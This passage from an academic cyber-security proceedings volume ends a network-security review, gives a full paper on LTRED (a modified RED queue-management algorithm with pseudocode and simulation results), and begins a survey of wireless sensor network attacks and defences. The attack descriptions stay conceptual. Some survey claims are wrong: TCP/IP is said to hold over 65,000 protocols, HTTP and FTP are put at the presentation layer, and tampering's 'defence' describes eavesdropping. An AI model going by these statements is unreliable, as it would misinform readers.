resilience was described by Mostashari [12]. For being a resilient system, a system
is expected to have
• Preparedness from adversary attacks
• Survival during the attack event
• Ability to recover from the damage caused.
The resilient systems are mainly based on fault tolerance, intrusion tolerance and
adaptiveness. ‘Fault-tolerant computing’ has provided the architectures that are
having fault-tolerant features like redundancies, dynamic reconfiguration [13].
‘Intrusion tolerant systems’ provide detailed analysis of system vulnerability and
assessment and evaluation of the damage [14]. Survival of missions based on
‘reinforcement learning’ provided the concept of task distribution to maintain
continuity in case of attacks or failures and to learn the patterns as the preparedness
approach [15].
The Defense Advanced Research Projects Agency (DARPA), the US
Department of Defense’s advanced research department, in its project called
mission-oriented resilient clouds (MRC), elaborated an approach to build resiliency
into existing cloud networks to preserve mission effectiveness during a cyberattack
[16].

3.2 Adaptation

In case of cyberattack, to perform the role of resilient system, adaptation is needed

by missions and the cyber terrain and collectively both should behave as
‘Multi-agent systems’. The scenarios where control and commanding of missions
and security implementation are needed, flexibility and self-awareness about the
structure and attributes of the system are the key requirements. The adaptable
system comprises of the following features:
• Structural adaptation: Ability adapt to structural changes occurring internal to
the system, e.g., node connectivity failure
• Functional adaptation: Ability to detect the changes in the functionality
• Resource adaptation: Flexibility to manage resource failure scenarios and work
smoothly in such situation.
30 S. Maurya and A. Singhrova

4 Network Security Measures

Network security measures focus on securing both private and public network.
Wireless network security, IP security, firewalls and physical security are the major
concerns of network security. Wireless security aims at preventing unauthorized
access or damage to computers through wireless networks. The most common types
of wireless security are Wi-Fi protected access (WPA) and wired equivalent privacy
(WEP) which are based on the concept of ‘Secure Connection’ and ‘Secure
Session’ [17]. Internet protocol security (IPsec) is a protocol for securing com-
munications by authenticating and encrypting each IP packet of a session. IPsec
includes protocols for establishing mutual authentication between agents at the
beginning of the session and negotiation of cryptographic keys to be used during
the session. A firewall acts like a barrier through which the traffic going in and out

Table 3 Description of advance network security measures

Author Year Description
Zubair Rafique 2014 –Network dialog contains the information needed for exchange
et al. [19] of data between two networks and can be misused for
cyberattack if manipulated by adversaries
–‘Network dialog minimization’ through ‘Network delta
debugging’ focuses on reducing the information shared in a
dialog and providing only the needed sufficient information for
transmission
–‘Network dialog diffing’ is used to identify the similar dialogs
and arrange them in proper alignment for monitoring any
tampering while exchange
Lu et al. [20] 2014 –Uses network simulation by utilizing packet forwarding to
monitor and analyse logs of the network which helps in
predicting and forecasting any unusual behaviour in the traffic
–‘Statistical Bayesian techniques’ and ‘grey relational model’ are
used for monitoring the past behaviours and keeping check on
current network scenario
Wang et al. [21] 2014 –Network security metrics provide an insight into how efficient
the security solution is for securing the system. Traditional
metrics were dependent on known vulnerabilities and hence
used to fail against zero-day attacks
–k-zero-day safety metric is dependent on the count of zero-day
vulnerabilities that are needed for successful attack
–Heuristic algorithms are used for analysing the complexity for
generating the metric
–Utilizes network hardening
Memari et al. 2015 –Utilizes honeynets to secure the real Information systems from
[22] the intruders by pretending themselves to be the actual systems.
The attackers are befooled and kept busy while the security
mechanisms detect the authenticity of the client
–If the client is an attacker, honeynets get sufficient time while
this delay to detect the attack mechanism used by the attacker
by analysing the patter and attack techniques
‘Changing Trend in Network Security Measures: A Review’ 31

of the network must pass. A firewall security allows only the traffic that is autho-
rized to pass. Packet filtering router, application-level gateway and circuit-level
gateway are the three types of firewalls implemented to secure the network [18].
Table 3 lists the advanced network security measure improvements that have
proven to prevent the network system from latest attacks.

5 Conclusion

The network security combines authorization with CIA triad to ensure security of
the overall network. But the traditional measures have failed in providing com-
pletely secure infrastructure from the modern attackers. Hence, the need for
‘Mission Centric’ paradigm increased which is capable in managing the rapid
changes in the operational context and dynamic time and space bound behaviour of
missions. The resilient network systems that are adaptive in nature are the need of
the time that should implement latest network security measures with advance
implementations and modifications.

References

1. Adeyinka O (2008) Internet attack methods and internet security technology, In: Second Asia
international conference on modeling & simulation, AICMS 08, pp 77–82, 13–15 May 2008
2. Bodeau DJ, Graubart R, Fabius-Greene J (2010) Improving cyber security and mission
assurance via cyber preparedness (cyber prep) levels, In: IEEE second international
conference on social computing (socialcom), pp 1147–1152, 20–22 Aug 2010
3. National Institute of Standards and Technology (NIST) (2009) Recommended Security
Controls for Federal Information Systems and Organizations, NIST Special Publication
800-53, Rev. 3, August 2009 (updated with errata May 1, 2010)
4. NIST (2010) Guide for applying the risk management framework to Federal information
systems: a security life cycle approach, NIST SP 800-37 Revision 1, February 2010
5. Information Technology (IT) Governance Institute (ITGI), COBIT (Control Objectives for IT
and Related Technology) (2007) V4.1
6. International Standards Organization (ISO) and International Electrotechnical Commission
(IEC), ISO/IEC 17799:2005 (2005) Information technology—security techniques—code of
practice for information security management
7. Saltzer JH, Schroeder MD (1975) The protection of information in computer systems.
Proc IEEE 63(9):1278–1308
8. Sandhu R, Krishnan R, White GB (2010) Towards secure information sharing models for
community cyber security. In: 6th international conference on collaborative computing:
networking, applications and worksharing (collaboratecom), pp 1–6, 9–12 Oct 2010
9. Zhao W, White G (2012) A collaborative information sharing framework for community
cyber security. In: IEEE conference on technologies for homeland security (HST), pp 457–
462, 13–15 Nov 2012
10. Zhao W, White G (2014) Designing a formal model facilitating collaborative information
sharing for community cyber security. In: 47th Hawaii international conference on system
sciences (HICSS), 2014, pp 1987–1996, 6–9 Jan 2014
32 S. Maurya and A. Singhrova

11. Jakobson G (2013) Mission-centricity in cyber security: architecting cyber-attack resilient

missions. In: 5th international conference on cyber conflict (CyCon), pp 1–18, 4–7 June 2013
12. Mostashari A (2010) Resilient critical infrastructure systems and enterprises. Imperial College
Press
13. Rennels DA (1999) Fault-tolerant computing, Encyclopedia of Computer Science. In:
Ralston A, Reilly E, Hemmendinger D (eds)
14. Verissimo P, Neves N, Correia M (2003) Intrusion-tolerant architectures: concepts and
design. In: Lemos R, Gacek C, Romanovsky A (eds) Architecting dependable systems, LNCS
2677, Springer, Berlin
15. Carvalho M (2009) A distributed reinforcement learning approach to mission survivability in
tactical MANETs, In: ACM conference CSIIRW 2009, Oak Ridge TN, 2009
16. Mission-Oriented Resilient Clouds (2011) DARPA, Information Innovation Office. http://
www.darpa.mil/Our-Work/I2O/Programs/Mission-oriented-Resilient-Clouds-(MRC).aspx
17. http://dis-dpcs.wikispaces.com/Different_types_of_Network_Security
18. Kumar NS (2015) Review on network security and cryptography. Int Trans Electr Comput
Eng Syst 3(1):1–11
19. Zubair Rafique M, Caballero J, Huygens C, Joosen W (2014) Network dialog minimization
and network dialog diffing: two novel primitives for network security applications. In:
Proceedings of the 30th annual computer security applications conference (ACSAC’14).
ACM, New York, NY, USA, pp 166–175
20. Lu SS, Wang X-F, Mao L (2014) Network security situation awareness based on network
simulation. In: IEEE workshop on electronics, computer and applications, 2014, pp 512–517,
8–9 May 2014
21. Wang L, Jajodia S, Singhal A, Cheng P, Noel S (2014) k-zero day safety: a network security
metric for measuring the risk of unknown vulnerabilities. IEEE Trans Dependable Secur
Comput 11(1):30–44
22. Memari N, Hashim SJ, Samsudin K (2015) Container based virtual honeynet for increased
network security. In: 5th National symposium on information technology: towards new smart
world (NSITNSW), 2015, pp 1–6, 17–19 Feb 2015

Author Biographies

Swati Maurya obtained her M.Tech (Computer Science and

Engineering) from DCR University of Science and Technology,
Murthal, India. She has completed B.Tech (Computer Science
and Engineering) from U.I.E.T., Kurukshetra University, India.
She is presently pursuing her Ph.D. Her research area is Cyber
Security
‘Changing Trend in Network Security Measures: A Review’ 33

Anita Singhrova holds a Ph.D. degree from GGS Indraprastha

University, Delhi, India. She has completed M.E (Computer
Science and Engineering) from Punjab Engineering College,
Chandigarh, India and B.Tech (Computer Science) from T.I.
T&S, Bhiwani, India 2006 and 1993 respectively. She has also
been certified as Java Programmer by Sun Microsystems. She
possesses seventeen years of teaching experience and is presently
working as Professor and Dean in the department of Computer
Science and Engineering at DCR University of Science and
Technology, Murthal, India. She has many research papers to her
credit in reputed journals.
An Improved RED Algorithm
with Input Sensitivity

Kiran Chhabra, Manali Kshirsagar and Arun Zadgaonkar

Abstract Random Early Detection (RED) is a recommended scheme of Active

Queue Management (AQM) to avoid network congestion by Internet Engineering
Task Force (IETF). RED being sensitive to its control parameters setting and traffic
load behaves differently during different phases of scenarios and its performance
degrades. To solve the above problems, we have proposed an improved algorithm
LTRED, L stands for queue length and T stands for threshold, which incorporates
the impact of load variation in early congestion notification along with tuning of
threshold parameter of RED. Our approach is validated by doing extensive simu-
lations on ns-2 (network simulator) and comparisons are done with RED, ARED,
and AVQ well-known AQMs. Our approach has shown its superiority in terms of
packet loss, early congestion indication, better link utilization, and improved
goodput. In this work, mismatch between macroscopic and microscopic behavior of
queue length of RED is also addressed and reduction in mismatch is achieved. In
addition, LTRED makes very few changes to the original RED without making the
system complex.

Keywords Random early detection (RED) Active Queue Management (AQM)


IETF (Internet Engineering Task Force) ns-2 network simulator

K. Chhabra (&)
Computer Science and Engineering, Dr. C.V. Raman University,
Bilaspur, CG, India
e-mail: [email protected]
M. Kshirsagar
Yashwantrao Chawan College of Engineering, Nagpur, MS, India
e-mail: [email protected]
A. Zadgaonkar
Dr. C.V. Raman University, Kargi Raod, Bilaspur, CG, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 35

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_5
36 K. Chhabra et al.

1 Introduction

Due to the gigantic growth of the Internet, it faces the challenge of congestion [1,
2]. AQM is the solution to this congestion control. Its two main objectives are high
link utilization with low packet loss and low packet queuing delay. Recommended
by IETF [3] RED was first AQM, proposed by Sally Floyd and Jacobson in 1993
[4].
In RED algorithm, Exponential Weighted Moving Average (EWMA) filter as
given by Eq. (1) is used for averaging of current queue size. For detection of actual
congestion not transient one, averaging procedure is used. Here, two thresholds
THmin minimum threshold and THmax maximum threshold are used and the average
queue size is compared with these thresholds. If the average queue size is less than
THmin no packet is dropped and if it is greater than THmax every incoming packet is
dropped. When it lies between two thresholds, packets are randomly dropped using
drop probability calculated by Eqs. (2) and (3).


avgi þ 1 1wq avgi þ wq qi ð1Þ

Pb Pmax ðavg  THmin Þ=ðTHmax  THmin Þ ð2Þ

Pa Pb =ð1  count  PbÞ; ð3Þ

where
avgi+1 average queue size at (i + 1)th time
avgi average queue size at ith time
wq moving weighted average constant
qi current queue size
THmin minimum threshold for queue
THmax maximum threshold for queue
Pmax maximum value for Pb
Pa current packet marking probability
Pb temporary probability used in calculation
count packets since last discarded packet
Being simple in its approach, RED achieves goal of congestion avoidance,
removes global synchronization, and overcomes drawback of Drop tail [3]. Despite
having been widely used in combination with TCP for several years, RED has not
found acceptance in the Internet research community [1]. It has some disadvantages
like hard parameter setting, congestion depends on parameters, insensitivity toward
input traffic and there is no matching between average queue length and current
queue length [1]. After RED’s proposal, lot of research is carried out to find its
suitability. Many variants of RED [2, 5–9] were proposed to overcome short-
comings of it with different congestion notification approaches used like the
average queue size, packet loss and link utilization and control theory, etc.
An Improved RED Algorithm with Input Sensitivity 37

The remainder of this paper is organized as follows. Section 2 gives the pro-
posed work along with approach used, Sect. 3 gives simulation results and Sect. 4
deals with conclusions and the final section gives all the references used.

2 Proposed Work

Due to the exponential growth of the Internet, AQM fails to respond fast to traffic
changes or to adapt to time-varying TCP dynamics. This motivated us for our
proposed work. We have tuned the threshold parameter of RED that is threshold
upper limit and lower limit of the average size in terms of router buffer size. Setting
THmin to an appropriate value could help router to make good link utilization.
Improper setting of THmax also causes more packets losses once the average queue
size exceeds it. We have tuned THmin to 40% of maximum queue size and THmax to
70% of it. This tuning has given us good results as well as it helps to achieve the
link utilization by properly keeping router buffer efficiently utilized. Since RED’s
performance degrades heavily shown by wild oscillations when the traffic load
becomes bursty indicating it is insensitive to input. We have incorporated this
problem in our approach. A little amount work is already done in [10]. LTRED
algorithm is shown in Fig. 1.

2.1 Working of Algorithm

For each packet arrival, average value for the queue size is calculated using EWMA
as in original RED. To have impact of input traffic the current queue size is
compared with a threshold which is 75% value of maximum buffer value (qt1) and
depending upon that average value is updated by 5% of the current queue size. This
step has impact of input sensitivity. Then it proceeds as RED algorithm. In order to
find out if the congestion is sustained once again two checks are made. First, the
current queue size is compared with another threshold (85% value of maximum
buffer value—qt2) for bursty input and the average queue value is compared with a
reference value which is mid value of upper and lower threshold value. If this
comparison is found to be true, then packets are dropped earlier as compared to
RED algorithm and this is early congestion indication to sources so that they should
slow down their rate of sending packets. In rest part, it will continue to work as in
original RED.
38 K. Chhabra et al.

for each packet arrival

calculate avg
if (qi > qt1)
{ avg ← avg + 0.05* q i }
if (avg < TH min )
{ forward the packet }
if (q i > q t2 )
{
if ( avg ≥ mid th )
{ drop the packet }
else
{ if ( avg > TH min )
{ drop the packet according to RED algorithm }
}
}
if (avg ≥ TH max )
{ drop the packet }

Where
avg : average queue size
qi : current queue size
B : maximum buffer size
q t1 : First threshold for q i
q t2 : Second threshold for q i
TH min : Minimum Threshold value for avg
TH max : Maximum Threshold value for avg
mid th : Reference Threshold value for avg

Fig. 1 LTRED algorithm

3 Simulation Results and Discussion

We have implemented the proposed scheme using network simulator ns-2 [11]. To
evaluate the improvements network topology is shown in Fig. 2. Bandwidth and
delay associated with links are also given in the diagram and Gs to Gr is bottleneck
link. We have compared proposed scheme LTRED with RED [4], ARED [7] and
AVQ [2], standard AQMs and plotted graphs for various cases.
Total simulation time period is 30 s for the topology shown Two FTP sessions
randomly start in between 0 and 0.01 s and lasts till the end. In the middle of
simulation, another “m” FTP session would randomly start in between 10.0 and
10.1 s which is to simulate changes of network conditions. TCP Reno is used for all
AQMs (RED, ARED, AVQ and LTRED). Parameters used are, for RED and
ARED are THmax = 15, THmin = 5, queue size q = 30, Maxp = 0.1, wq = 0.002,
and for ARED and AVQ other parameters are set as per default value as in ns-2.
In case of LTRED THmin = 12 and THmax = 21, qt1 = 22.5, qt2 = 25.5, and
midth = 16.5 rest settings are similar to RED. We have observed results for sources
varying “m” from 30 to 60 (Tables given) and drawn different graphs for 60 sources
An Improved RED Algorithm with Input Sensitivity 39

Senders Receivers
S1 R1
2Mb & 10ms 2Mb & 10ms
S2 R2
0.7Mb
Gs R3
S3 Gr
10Mb 20ms 10Mb
• •
• •
Sn
14 to 15ms 14 to 15ms Rn

Fig. 2 Simulation network topology

for all the approaches used. We have observed performance in case of packet loss,
packet arrival ratio, the average queue size, and the current queue size.
Figure 3 shows the graph for comparison of packet loss for all the four cases
showing minor differences during initial period of less traffic. After 10 s when
traffic increases that is during congestion period LTRED shows less number of
packet losses overall, and shows improvement by 2.3–4.3%. Figure 4 shows total
number of packets received for all cases, it shows that packets delivered number is
largest in case of LTRED, showing improvement in throughput by 2.19–3.48%. In
Fig. 5, the graph shows effective congestion notification to sources in terms of
packet arrival rate. Sources are earlier informed about congestion and they reduce
their sending rate here also LTRED outperforms other AQMs.
Figure 6 depicts current queue changes, showing more variation in transient
congestion and later on in highly congestion area, AVQ uses less buffer size Wild
oscillations in RED and ARED show unstable behavior and in case of LTRED
nearly stable behavior. Figure 7 illustrates bandwidth utilization which shows that

Fig. 3 Packet loss ratio

40 K. Chhabra et al.

Fig. 4 Packet delivery ratio

Fig. 5 Packet arrival ratio

LTRED outperforms other AQMs. Figure 8 shows average queue variation for
RED, ARED, and LTRED, EWMA approach is used in these cases to calculate the
average queue size. In this case also LTRED outperforms RED and ARED by being
within its reference limit and depicts stable behavior. Figures 9, 10, and 11 show
comparison of the average and the current queue size for RED, ARED, and LTRED
cases. Out of these in LTRED case, mismatch behavior of the average and the
current queue size is reduced a lot. Tables 1, 2, 3, and 4 give simulation results for
number of sources varying from 30 to 60, showing superiority of LTRED.
An Improved RED Algorithm with Input Sensitivity 41

Fig. 6 Queue size variation

Fig. 7 Bandwidth utilization

Fig. 8 Average queue size

variation
42 K. Chhabra et al.

Fig. 9 RED queue sizes

Fig. 10 ARED queue sizes

Fig. 11 LTRED queue sizes

An Improved RED Algorithm with Input Sensitivity 43

Table 1 Various simulation results for 30 sources

AQM Packets Packets Goodput (%) Retransmitted Still to be
scheme lost (%) delivered (%) packets (%) retransmitted (%)
RED 15.56 84.19 76.79 47.52 52.47
ARED 15.56 84.14 73.75 66.74 33.25
AVQ 17.73 82.23 71.31 61.58 38.42
LTRED 13.43 86.15 76.09 72.11 27.88

Table 2 Various simulation results for 40 sources

AQM Packets Packets Goodput (%) Retransmitted Still to be
scheme lost (%) delivered (%) packets (%) retransmitted (%)
RED 18.34 81.36 73.52 42.74 57.25
ARED 17.42 82.13 73.97 46.84 53.15
AVQ 20.40 79.49 70.91 42.05 57.94
LTRED 15.60 83.98 75.26 55.92 44.08

Table 3 Various simulation results for 50 sources

AQM Packets Packets Goodput (%) Retransmitted Still to be
scheme lost (%) delivered (%) packets (%) retransmitted (%)
RED 19.74 80.15 73.60 33.20 66.79
ARED 19.76 80.00 71.85 41.24 58.75
AVQ 22.01 77.93 67.75 46.23 53.77
LTRED 17.40 82.24 71.78 60.10 39.89

Table 4 Various simulation results for 60 sources

AQM Packets Packets Goodput (%) Retransmitted Still to be
scheme lost (%) delivered (%) packets (%) retransmitted (%)
RED 22.51 77.23 68.62 38.25 61.75
ARED 21.37 78.41 69.70 40.69 59.30
AVQ 23.34 76.62 67.48 39.15 60.84
LTRED 19.03 80.60 70.34 53.92 46.08

4 Conclusion

In this work, we have proposed an AQM, LTRED which is sensitive to input traffic
and also tuned threshold parameter in terms of buffer size, comparing it with RED,
ARED and AVQ have demonstrated better performance in terms of less number of
packet loss, effective congestion indication, high throughput, reduction in mismatch
behavior of the average size and the current size and high goodput values due to
which retransmission of packets also reduces a lot, and effective buffer utilization at
44 K. Chhabra et al.

router. An adaption mechanism based on input traffic is designed to drop the packet.
The key concept is that as traffic load changes and queue length deviates from a
threshold, dropping of packet occur.

References

1. Ryu S, Rump C, Qiao TC (2003) Advances in internet congestion control. IEEE Commun
Surv Tutorials 5(1):28–39. https://doi.org/10.1109/COMST.2003.5342228
2. Kunniyur S, Srikant R (2004) An adaptive virtual queue [AVQ] algorithm for active queue
management. IEEE/ACM Trans Networking 12(2):286–299
3. Braden B, Clark D et al. (1998) Recommendations on queue management and congestion
avoidance in the Internet. IETF Request for Comments RFC 2309
4. Floyd S, Jacobson V (1993) Random early detection gateway for Congestion avoidance.
IEEE/ACM Trans Netw 1(4):397–413
5. Sun J, Ko K, Chen G, Zukermam M (2003) PD-RED: to improve the performance of RED.
IEEE Commun Lett 7(8):406–408
6. Athuraliya S, Li V et al. (2001) REM: active queue management. IEEE Netw 15(3):48–53.
https://doi.org/10.1109/65.923940
7. Floyd S, Gummadi R, Shenkar S (2001) Adaptive RED: an algorithm for increasing the
robustness of RED’s active queue management. Berkely CA [online]. http://www.icir.org/
floyd/red.html
8. Li M, Zhao W (2010) Representation of a stochastic traffic bound. IEEE Trans Parallel Distrib
Syst 21(9):1368–1372
9. Wang H, Ye Z, Wang B (2011) Using auto-tuning proportional integral probability to
improve random early detection. IEEE 13th international conference on communication
technology (ICCT)
10. Chhabra K, Kshirsagar M, Zadgaonkar A (2015) Effect of load and threshold variation on
performance of RED: random early detection. Int J Sci Res 4(6):2319–7064. ISSN (online)
11. NS [network simulator] (1999) [online]. Available http://www.isi.edu/nsnam/ns

Author Biographies

Kiran Chhabra received her B.E. in Computer Science from Nagpur University in 1995 and M.E.
in Computer Technology and Applications from Chhattisgarh Swami Vivekanand Technical
University, Bhilai in 2009. She is pursuing her Ph.D. in Computer Science and Engineering in
congestion avoidance area. Currently, she is working as Associate Professor in Computer Science
Department at MM College of Technology, Raipur.

Dr. Manali Kshirsagar received her B.E. in Computer Technology from Nagpur University in
1992, M.E. in Computer Science and Engineering from Amravati University in 2001. She was
awarded Ph.D. in 2009 by Allahabad University for her work on the Data Mining Strategy to
explore Cotton Genome. Currently, she is working as Professor and Head of the Computer
Technology Department at Yashwantrao Chavan College of Engineering, Nagpur. She has many
An Improved RED Algorithm with Input Sensitivity 45

papers to her credit in various international journals, the international conference, and national
conference. Her areas of interest include Data Mining, Biometrics, and Computer Networks. She is
also a member of professional bodies like MIE, ISTE, and ACM.

Dr. A. S. Zadgaonkar has obtained B.E. in Electrical Engineering from Pt. Ravishankar Shukla
University, studying at Govt. Engineering College, Raipur in 1965. He obtained M.E. in 1978
from Nagpur University. His research paper for M.E. was awarded “Best paper” by the Institution
of Engineers [India] in the year 1976 and 1977 respectively. The testing technique for the quality
of wood developed by him was included in ISI in 1979. He was awarded Ph.D. in 1985 by Indira
Gandhi Kala & Sangeet University, Khairagah for his work on “Acoustical and Mechanical
Properties of Wood for Contemporary Indian Musical Instrument Making.” He was awarded
Ph.D. in 1986 by Pt. Ravishankar Shukla University on “Investigation of Dynamic Properties of
Non-Conducting Materials Using Electrical Analogy.” He has 47 years of teaching experience. He
has published more than 500 technical papers in various journals, and National and International
conferences. He has written four books on Engineering and five on “Science and Technology in
Indian Mythology.” He is currently adding glory to the post of Vice Chancellor of Dr. C. V.
Raman University, Bilaspur[Chhattisgarh]. He is life member of Acoustical Society of India,
Biomedical Society of India, Linguistic Society of India, Indian Society for Technical Education
and many social bodies
Security Attacks in Wireless Sensor
Networks: A Survey

Prachi Dewal, Gagandeep Singh Narula, Vishal Jain

and Anupam Baliyan

Abstract Security is one of the major concerns in sensor networks. Wireless sensor
network comprises of huge amount of nodes called as tiny sensor nodes. The nodes
are required to exchange information with different nodes via wireless links in short
intervals. The information may be potentially private regarding people and business
processes. These networks suffer from adversary due to distributed behavior and
deployment in distant areas. The networks are governed by some constraints at
sensor node level like less battery power, less memory capacity, and low trans-
mission range while at network level, they are governed by ad hoc networking and
irregular connectivity. The paper analyzes the challenges, main security issues,
security breaches in wireless sensor networks and lists their defensive measures.

Keywords Wireless sensor networks (WSN)
Protocols
Security breaches

Security mechanism

1 Introduction

Wireless sensor networks (WSN) are self-configured network with tiny sensor
nodes. Each wireless node possesses low energy, memory space, and computational
power. Components of sensor node include front end of radio, microcontroller,

P. Dewal (&)
G. S. Narula

C-DAC, Noida, India
e-mail: [email protected]
G. S. Narula
e-mail: [email protected]
V. Jain
A. Baliyan
Bharati Vidyapeeth’s Institute of Computer Applications (BVICAM),
New Delhi, India
e-mail: [email protected]
A. Baliyan
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 47

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_6
48 P. Dewal et al.

main power supply, and sensors. The task of sensors is to monitor physical and
environmental conditions such as humidity, pressure, sound, temperature, and many
more. After monitoring, they send data to their main location. The data is requested
on basis of these parameters in sensor networks (Fig. 1).
Wireless sensor network has resource constraints that act as hindrance in using
existing security approaches. In fact, threats in sensor networks in context of
routing are susceptible due to simple routing protocols. There are many obstacles in
security for example, limited resources, unreliable communication, and unattended
operation.
This paper is organized as follows: In Sect. 2, literature survey is presented.
Section 3 discusses various protocols for wireless sensor networks. Section 4 gives
the security framework discussing standard goals, constraints, obstacles, security
breaches, and security mechanism. Finally, concluding the paper in Sect. 5 with
conclusion and security threats in different protocol layer along with their defensive
measure.

2 Literature Review

The nature of wireless sensor networks includes multiple nodes that make system
vulnerable to adverse effects and loss of information. It has led to look into security
and privacy aspects of networking by introducing new insistent technologies like
wireless sensor networks [1]. Author proposed a security framework for wireless
sensor networks, i.e., adaptive security architecture. It includes low-, medium-, and
high-level security modes. SENP protocol is used which aims at securing patterns
providing authenticity, confidentiality, and integrity. Agent-based secure routing
scheme involves use of trusted neighbors that is proposed in [2] which employs use
of probability and MAC model for identifying trustworthy neighbors, through
which secure routes are set up. The work given in [3] presents a group-based
security scheme for wireless sensor networks which includes sequential procedure:
Cryptographic key pre-distribution, group-based deployment, secure data aggre-
gation and rekeying. The author in [4] employs use of virtual grid connection to
secure data from end to end at multiple base stations. In revocation scheme, random

Fig. 1 Sensor network

(all other nodes are sensor
nodes except base station)
Security Attacks in Wireless Sensor Networks: A Survey 49

polynomial is used. The author in [5] proposed security protocol for verifying
model, i.e., TinySec + LEAP. TinySec holds binary operations, viz., authentication
and semantic secured encryption. In [6], author proposed improved fiestal based
ciphers for WSN. All of WSN’s block ciphers are designed using a 16 round fiestal
data block. Author proposes to use controlled permutation boxes for implementa-
tion of a fiestal scheme. The author in [7] proposed two secure and efficient data
transmission(SET) protocols for cluster-based wireless sensor networks, called
SET-IBS and SET-IBOOS, y using the identity-based digital signature(IBS)
scheme and the identity-based online/offline digital signature scheme, respectively.
In [8], the author presented an architecture utilizing concept of autonomic com-
puting and a simple object access protocol (SOAP) based interface to metadata
access points (IF-MAP) external communication layer to create a network security
sensor. A flexible two-level communication layer based on autonomic computing
and service oriented architecture is presented. In [9], the author proposed an
adaptive specification based intrusion detection system (IDS) for detecting mali-
cious unmanned air vehicles (UAVs). An IDS audits UAVs in a distributed system
to determine if the UAVs are functioning normally or are operating under malicious
attacks. In [10], the author proposed a realistic and reliable IDS architecture for the
advanced metering infrastructure (AMI). An AMI system is responsible for col-
lecting, measuring, and analyzing energy usage data and transmitting this infor-
mation from a smart meter to a data concentrator and then to a headend system in
the utility side.

3 WSN Protocols

Protocols are the set of rules and communication standards that must be followed by
source and destination in order to communicate with each other. There are several
types of communication protocols which can be grouped into the lower level,
high-level, and application-based protocols. Example includes TCP/IP that is set of
protocols consisting of more than 65,000 protocols (Tables 1 and 2).

Table 1 Protocols associated with different network layers [11]

Layer Protocol
Physical layer Sonet, ISDN, SDH
Data link layer Frame relay, FDDI, Ethernet
Network layer RIP, OSPF, EGP, IPX, IPV6, ARP
Transport layer TCP, UDP, SPX
Session layer NFS, NCP, SMB
Presentation layer MIME, HTTP, FTP, NNTP
Application layer DNS, HTTP, POP3, BOOTP, SSH, TELNET
50 P. Dewal et al.

Table 2 Classification of TCP/IP IP, TCP, UDP, SMTP, POP3, RIP, FIP, DHCP
protocols [11]
Cellular GPRS, GSM, WAP AND CDMA
VOIP SPX, RIP, MEGACO, MGCP AND H.323
General Frame relay, ATM, X.25, PPP

4 Security in WSN

Dimensions of security includes: Goals, obstacles, constraints, security breaches,

and security mechanism. All these dimensions are described below.

4.1 Standard Goals

(a) Confidentiality: Confidentiality implies that message or data is not understood

by unauthorized personnel, i.e., for security, the information needs to be hidden
from unauthorized access. In wireless environment, information is easily
available that makes difficult to enforce confidentiality.
(b) Integrity: Unwanted changes can also be created by an interruption in the
system. It is not necessarily the result of a malicious act.
(c) Availability: It ensures that the information and the network services need to be
available to authorized entities.

4.2 Constraints

In comparison to traditional computer networks, wireless sensor network has many

constraints. To develop security mechanisms, it is necessary to understand the
resource constraint as given below:
Resource constraint:
(1) Limited Storage: This constraint leads to less storage of data as well as cryp-
tographic keys. It is a challenge to design security protocol that uses at most
number of encryption keys for secured network.
(2) Limited Computational power: Computations are based on available amount of
power. Due to limited amount of power, computations are constrained. This
constraint reduces the computation power of RSA public cryptographic algo-
rithm and makes it expensive to use [11].
(3) Limited Power: Due to lack of wires and small size of sensor nodes, power
restriction is there in WSNs. Sensor nodes are battery driven. Power limitation
affects security, since encryption algorithm causes communication overhead.
Security Attacks in Wireless Sensor Networks: A Survey 51

4.3 Obstacles

Obstacles in WSNS include limited resources, untrusted communication, and

unattended operation.
(1) Limited Resources: Resource limitation is a big concern is wireless sensor
networks. As discussed above there are limited storage, computational power,
and power in WSNs.
(2) Untrusted Communication: An untrusted wireless communication channel
leads to generation of packet loss and insecurity.
(3) Idle nature of nodes: It may be possible that sensor nodes are left idle for long
time depending on the function of a given network. Due to this, these nodes are
exposed to attacks.

4.4 Security Breaches

Security in sensor networks posses numerous challenges due to resource and

computation constraints. Type of attacks is discussed below:
Attacks based on the protocol layer:
(1) Physical layer: This layer includes the following attacks:
• Jamming: It includes transmission of signal by attacker at base stations with
same frequency as of transmitter. It disrupts the radio communication and
causes radio interference in the network.
Defensive measures: A prominent measure to mitigate jamming is use of
spread spectrum communication, i.e., frequency hopping spread spectrum
(FHSS). It forwards given data by performing swapping of carrier data
among different frequency channels [12].
• Tampering: Attacker tries to access hardware apparatus like chips. It
involves handling of motes and derives secret information from shared
nodes (Fig. 2).

Fig. 2 Tampering attack

52 P. Dewal et al.

Defensive measures: It includes accessing of secret data that lies between

external memory chip and microcontroller. This process is called as
eavesdropping.
(2) Data link layer: This layer includes the following attacks:
• Collision: When an attacker listens a node transmitting a message, it for-
wards its own signals to make interferences. It leads to collision when
multiple nodes transmit data with same frequency and data rate. It can alter
the data and hence data packet can be treated as invalid.
Defensive measures: Measures applied to jamming attacks can be applied
to this attack.
• Exhaustion: Attacker continuously sends data or request over the channel
which leads to starvation. The source of origination of attack can be pc or
laptop.
Defensive measures: According to [12], it is possible to reduce the MAC
sending rate in order to ignore excessive request from sensor network. It
prevents loss of energy as well as allows sensor node to transmit data in
shorter time. In this way, nodes get attached to MAC channel for long time.
(3) Network layer: This layer consists of the following attacks:
• Selective forwarding: It includes dropping of packets by malicious node and
forward most of the messages.
Defensive measures: To counterattack multipath routing can be used. This
reduces the probability of an attack by adversary. To supervise the system
watchdog can be used.
• Acknowledge spoofing: Attacker may spoofs link layer acknowledgements.
False error messages are generated by the attacker. Routing loops are created.
As a result, end to end latency is increased and network is portioned (Fig. 3).
Defensive measures: To counterattack all the packets must be encrypted.

Fig. 3 Acknowledgement spoofing

Security Attacks in Wireless Sensor Networks: A Survey 53

Fig. 4 Black hole attack

• Blackhole attack: Attacker intends to occupy available traffic in a network to a

particular node called a black hole which is created in centre. A metaphorical
sinkhole is created. All the traffic is directed to fake sinkhole (Fig. 4).
Defensive measures: A scheme must be implemented so that all the nodes
in network must comply with corrupt information produced by invalid
nodes. Cryptographic methods can be used.
